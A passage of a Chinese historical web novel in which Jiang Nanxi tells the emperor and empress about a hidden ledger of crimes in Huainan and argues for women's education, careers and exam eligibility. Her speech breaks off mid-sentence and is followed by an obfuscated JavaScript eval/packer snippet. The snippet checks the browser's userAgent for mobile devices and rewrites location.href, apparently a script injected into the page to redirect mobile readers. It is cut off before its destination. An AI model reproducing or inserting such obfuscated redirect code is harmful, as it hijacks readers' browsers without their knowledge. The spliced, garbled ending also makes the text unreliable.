,时任淮南监察御史的黄玄昌,把一份关于淮南犯下滔天罪行的账薄一分为二,其中一份交给同乡的青州总旗钟离浩天,而另一份则由自己扮做行商走水路上京,呈于御前。但黄大人行踪暴露,被所谓的‘河盗’所杀葬身鱼腹,账薄因此下落不明。可谁都没有想到,黄大人身上根本没有账薄,他同样是以自己为诱饵,吸引淮南的注意,真正的账薄在只与黄大人有过一面之缘,我那老实本分的父亲身上。”
听到这,皇帝瞬间一惊:“你身上有黄玄昌的账薄?”
“正是。”
“为何不呈上来。”
“黄大人将账薄用特殊染料书写成杂记,极难破译,加上我手上的账薄也不完整,因此没能及时呈给陛下。”
“所以你殚精竭虑只为给父亲报仇。”
“不仅如此,民女还想给天下的女子争一个前程。”
皇帝看着人,忽然觉得十分有意思,不由地问:“你想为天下女子争一个什么样的前程?”
“我想让全天下的女子光明正大的活着。”
听到这,作为一国之母的皇后亦忍不住问:“这世间的女子如何不能光明正大的活着?”
看向雍容华贵的皇后,姜南溪反问:“民女想问皇后娘娘,如果女子能光明正大的活着,为何没有书院以供普通女子读书,为何女子至亲能随意发卖妻女,为何女子不能参与科举从仕,从而治国?”
皇后听到这,面露诧异道:“你的问题实在骇人听闻,从古至今哪有女子治国的道理。”
“若无女子治国的先例,又何来垂帘听政一说。”
“后宫的女子垂帘听政,只为守护国家的秩序,而你方才之言,乃本末倒置。”
姜南溪深知,几千年根深蒂固的思想一时间难以改变,但她想尽自己所能为女子争取一个机会,循序渐进地一点点改变女子的地位。
看着帝后,她开口道:“陛下,娘娘,民女只想给天下的女子争取一个机会。”
皇帝看着人,随后淡淡一笑:“你所谓的机会,就像你在城郊建立的工厂那样,给女子提供工作,让她们不再受困于后宅当中,让她们有机会做力所能及和喜欢的事情,甚至跟男子竞争,以证明她们有着不输男子的能力和魄力。”
看着皇帝,姜南溪直言不讳道:“陛下,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipo